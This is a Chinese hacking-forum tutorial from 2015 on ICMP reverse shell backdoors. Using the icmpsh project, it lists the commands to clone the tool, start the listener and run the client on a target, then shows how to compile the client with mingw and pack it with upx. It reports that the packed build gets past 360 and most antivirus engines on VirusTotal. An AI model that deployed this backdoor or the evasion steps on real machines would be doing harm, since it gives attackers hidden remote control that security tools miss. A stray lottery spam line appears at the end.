燈火互聯
管理員
管理員
  • 注冊日期2011-07-27
  • 發帖數41641
  • QQ
  • 火幣40943枚
  • 粉絲1085
  • 關注100
  • 終身成就獎
  • 最愛沙發
  • 忠實會員
  • 灌水天才獎
  • 貼圖大師獎
  • 原創先鋒獎
  • 特殊貢獻獎
  • 宣傳大使獎
  • 優秀斑竹獎
  • 社區明星
閱讀:2587回復:0

細數Shell那些事

樓主#
更多 發布于:2015-01-06 16:28

說到Shell,我想大家恐怕都不會太陌生。不僅如此,我想大家應該有不少自己的珍藏吧按平臺分類的話,基本上大體可以分為兩大類:針對web級別的和針對系統級別的。針對web的大體根據語言不同又分為PHP、JSP、ASP等(這讓我不由得想起了那些年,大牛們寫過的各種后門……),針對系統級別的一般分為:windows后門和基于unix的后門,不過到現在為止我并沒有見過apple后門,大概,是因為我窮吧。

言歸正傳,今天我要跟大家聊的東西,是針對系統的Shell后門。煩請大牛不要噴我,覺得文章水的可以直接略過不談。

0×01 我先分個類

這里我按照協議不同來分類。

首先,是基于TCP UDP協議的shell

這類shell已經遍地都是,而且功能也越來越強大,因為基于這兩種協議的木馬通信能力更強。當然樹大易招風,關于這類shell后門也越來越多的受到安全廠商的關注,造成的結果是這類木馬一般都是產業級的進行免殺操作,使用之后被殺毒軟件截獲便失去效用,需要重新做免殺。而這玩意兒略貴。所以一般的個人想玩玩又不懂免殺的根本玩不起。

其次,是基于ICMP協議的shell

我們都知道,通信協議無外乎TCP UDP ICMP了,既然前兩種玩不起我們就來看看ICMP怎么樣。

既然是通信協議嘛,肯定是可以發送數據的,那么我們來看看一個PING究竟發送了什么數據:

圖片:136740.png

從圖上就可以清晰看出來了。第一張是windows ping的時候發送的數據,第二張圖是linux的ping的時候發送的數據,還是有點差距的,嗯。

通過以上證據就可以證明ICMP協議通信是可以帶著我們想要的數據飛的,最起碼理論上是可行的。

然后,是基于DNS解析的shell

除去三種協議以外,還有一種是基于DNS解析的后門shell。之前我記得有人發過一種劍(wei)走(suo)偏(zhi)鋒(ji)的CMCC(或者Chinanet)的不登陸的上網方式,用的就是DNS;之前還有一個木馬就是用這種方式來傳數據的,那場面,更加猥瑣,簡直不忍直視。。

這里DNS解析后門自然是有好處的,就是極不容易被察覺,但是自然也有缺點,那就是數據走得慢。這個慢,不是一般的慢,總的說來,你要是想用高級功能比如桌面控制,呵呵,基本不可能,而且實施起來也略微復雜。所以這次我們暫且不講,以后再討論。

按照協議分完了,我們再按照連接方式分一下

按照連接方式,分為主動連接和被動連接,主動連接是Bind Shell,被動連接是Reverse Shell,這個我想大家也應該很熟悉了。這里上幾張圖簡要做一下解釋(圖片來源于網絡)

圖片:401470.png

由被攻擊主機主動連接攻擊機器,這種我們叫做Reverse Shell,是目前主流的Shell使用的類型,缺點是需要攻擊機器有固定的公網IP,優點是不用擔心目標機器的動態IP導致掉線問題。

但是,不管是Bind Shell還是Reverse Shell,因為基于TCP或者UDP,防火墻很敏感,容易被防火墻攔截,即便是我們的后門已經經過了殺軟的考驗,可能也會在這一輪中折掉,導致我們的后門安插失敗。

圖片:73833.png

今天我們要跟大家分享的是:ICMP Reverse Shell

0×02 測試平臺簡介

首先,我們得挑一個ICMP的通信Shell,當然自己寫也是可以的。平臺的原理是其實還是通信,利用ICMP通信協議,將我們想要執行的shell命令通過服務端傳給客戶端,然后客戶端將執行之后得到的數據通過ICMP包傳回來,服務端負責接收然后回顯。

這里我們挑取git的一個ICMP Shell項目進行實際操作。

先把項目取回本地

git clone https://github.

com/inquisb/icmpsh.git /opt/icmp_reverse_shell

拿下來之后,我們可以看到這里面的文件了。這里面所有的東西都是開源的,方便我們看詳細原理。其實文件中主要起作用的主要是兩個文件,icmpsh_m.py和icmpsh.exe,其中icmpsh_m.py是服務端需要執行的python腳本,icmpsh.exe是客戶端需要執行的腳本。還有一個icmpsh-s.c的slave客戶端的源代碼文件,有興趣的同學可以看一下。除此之外,還有一個run.sh的BASH文件,文件內容大家可以自己看,主要就是如果你忘了配置什么東西他會事先配置好,最終起作用的還是icmpsh_m.py,所以最后服務端我們就用run.sh就好了

0×03 演練

說了這么多,下面我們開始玩真的。

先說服務端:

運行run.sh

./run.sh

然后我們根據提示輸入IP,這里IP應該是公網IP,但是這里使用的是內網,所以我們輸入C段IP,然后回車,我們就可以看到這樣的提示:

圖片:335430.png

這樣服務端就配置好了,正在監聽狀態。

下面是客戶端:

我們打開靶機的cmd,輸入命令:

icmpsh

.exe -t 192.168.246.129 -d 500 -b 30 -s

128

圖片:939108.png

到這里,基本上想做什么就沒問題了。

Shell中執行的命令已經被執行,但是靶機完全沒反應

圖片:207627.png

下面是玩耍時間,這個時候靶機ping一下攻擊機,就發現攻擊機收到了靶機的ping的聊騷內容,居然還有“hi”,掩面///…

圖片:976656.png

使用wireshark截個包看一下,嗯,數據全出來了,好赤果果

圖片:753187.png

實操就這樣。

0×04 關于Shell客戶端

首先一個問題是Shell客戶端的運行平臺問題,很明顯,客戶端是只針對于windows平臺的,Server是跨平臺的。

然后就是客戶端的來源,當然大家可以使用作者在git上面給出的exe,也可以自己檢查源代碼文件然后自行編譯加殼,編譯的過程如下(這里只說linux的編譯過程):

首先安裝mingw,這是編譯的關鍵

sudo apt

-get updatesudo apt-get install gcc-mingw32

過程中計算機會將其余附加包一起裝好我們就不操心了。

安裝好之后就是編譯

i686-w64-mingw32-gcc icmpsh-

s.c -o icmp-slave.exe

圖片:353790.png

然后我們可以用upx加個殼

upx -v icmp-

slave.exe -o icmp-slave-upx.exe

圖片:608822.png

這樣一個客戶端就成型了,我們可以看出來壓縮率大約在56%左右,壓縮完之后大小56K左右。

其實除了以上問題之外,我想大家最關心的就應該是殺軟對Shell的反應了吧。細心的小伙伴應該發現了,在上面的圖里,我的靶機是全程運行著360進行的實驗(不是刻意為之,是之前做測試的時候靶機就裝上了,這次沒關),其實不只是360,到目前寫本文章之前,絕大部分殺軟都沒有報毒。

當然,這里我說的是我自己生成的客戶端,至于git上自帶的客戶端,國內殺毒軟件還是基本上都檢測出來了。

可是我可憐的小a啊。。

圖片:366715.png

至于更全面的測試,我這里貼上virustotal.com的結果:

首先是關于git上自帶的客戶端,我們發現大多數國內廠商都報毒了,看到這里我表示很欣慰。:)

然后我再拿我自己生成的加過殼的exe看一下,咦這是什么情況。。。

圖片:666992.png

然后我們再看看剛編譯出來熱乎的,好像就更奇怪了。。

圖片:864216.png

看來是殺毒軟件對upx現在是越來越敏感了,加個殼都不饒過。至于其他的奇怪現象。。。咦?飛碟!

0×05 后記

寫到這里,ICMP反向Shell介紹也就告一段落了,東西確實不是新東西,技術也沒有多復雜,不過重點在于思路,在于以此為基礎實現的更多更好(wei)玩(suo)的玩法。這次的交流就到這里


喜歡0 評分0
游客

返回頂部
广东体彩26选5